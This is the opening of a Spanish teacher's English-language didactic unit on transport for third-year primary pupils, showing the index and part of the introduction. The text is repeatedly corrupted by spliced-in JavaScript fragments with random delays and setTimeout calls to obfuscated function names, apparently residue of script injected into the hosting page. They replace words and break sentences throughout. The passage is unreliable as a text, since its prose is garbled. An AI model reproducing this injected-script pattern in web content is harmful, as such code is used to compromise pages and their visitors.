DIDACTIC UNIT: CAUTION, WE ARE DRIVING! 1st year, 2nd cycle of Primary Education.

Autora: María Teresa Cuéllar Lemus

Esta unidad didáctica está realizada en inglés, dirigida al 3er curso de Educación Primaria.

Esta unidad didáctica será llevada a cabo en el tercer trimestre de un curso escolar y en ella se desarrollarán diversos contenidos relacionados con los medios de transportes y todo lo relacionado con este tema. Se trabajarán diversos contenidos y para conseguirlos nos hemos propuesto diversos objetivos, los cuales relacionaremos con las competencias básicas que con ellos se desarrollan. Para terminar he de decir que esta unidad didáctica está realizada de cara a oposiciones ya que por su extensión y puntos que trata es ideal para presentar como informe sustitutivo al desarrollo de la unidad didáctica.

INDEX

0-    Introduction…..1                                        5- Contents…..5

1-    Justification of the didactic unit…..2          6-Methodology…..6

2-    Context  andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and students……3                      7- Evaluation…..7

3-    Timing…..3                                                8- Sessions…..8


4-    Objectives…..4

0.- INTRODUCTION

The ability to communicate in a foreign language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the knowledge of the same provide a great help to understandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and control our own language andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and behaviour. To contact other cultures through the channel of the language favours comprehension andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}